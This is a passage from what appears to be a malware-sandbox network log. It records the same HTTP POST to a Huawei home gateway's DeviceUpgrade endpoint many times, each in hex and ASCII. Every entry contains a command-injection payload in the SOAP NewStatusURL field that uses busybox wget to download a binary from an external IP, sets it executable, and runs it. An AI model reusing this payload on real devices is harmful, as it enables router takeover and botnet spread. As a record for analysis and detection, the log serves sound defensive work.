/tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 